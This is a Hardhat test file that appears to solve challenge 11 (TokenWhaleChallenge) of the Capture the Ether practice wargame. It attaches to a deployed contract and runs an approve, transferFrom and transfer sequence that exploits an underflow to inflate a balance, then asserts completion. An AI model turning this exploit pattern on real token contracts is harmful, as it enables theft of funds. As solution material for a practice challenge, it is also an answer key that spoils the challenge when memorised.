{"size": 1105, "ext": "js", "max_stars_repo_path": "test/ch11.js", "max_stars_repo_name": "zishansami102/capture-the-ether-sols", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/ch11.js", "max_issues_repo_name": "zishansami102/capture-the-ether-sols", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/ch11.js", "max_forks_repo_name": "zishansami102/capture-the-ether-sols", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 35.6451612903, "max_line_length": 102, "alphanum_fraction": 0.6823529412}
const { expect} = require("chai");
const { ethers } = require("hardhat");

before(async () => {
    accounts = await ethers.getSigners();
    player = accounts[0];
    eoa2 = accounts[1];
    
  });
  
  it("ch11", async function () {
    const chFactory = await ethers.getContractFactory("TokenWhaleChallenge");
    contract = await chFactory.attach(`0xa07ffD7F4285B8af8c6317239310A038360543D5`);
    tx = await contract.connect(player).approve(eoa2.address, 1, {gasLimit:3e6});
    console.log("approve tx intitiated");
    await tx.wait();
    console.log("approve tx completed");

    tx = await contract.connect(eoa2).transferFrom(player.address, player.address, 1, {gasLimit:3e6});
    console.log("transferFrom tx intitiated");
    await tx.wait();
    console.log("transferFrom tx completed");

    tx = await contract.connect(eoa2).transfer(player.address, 1000000, {gasLimit:3e6});
    console.log("transfer tx intitiated");
    await tx.wait();
    console.log("transfer tx completed");
    var isComplete = await contract.connect(player).isComplete();
    expect(isComplete).to.be.true;
  });
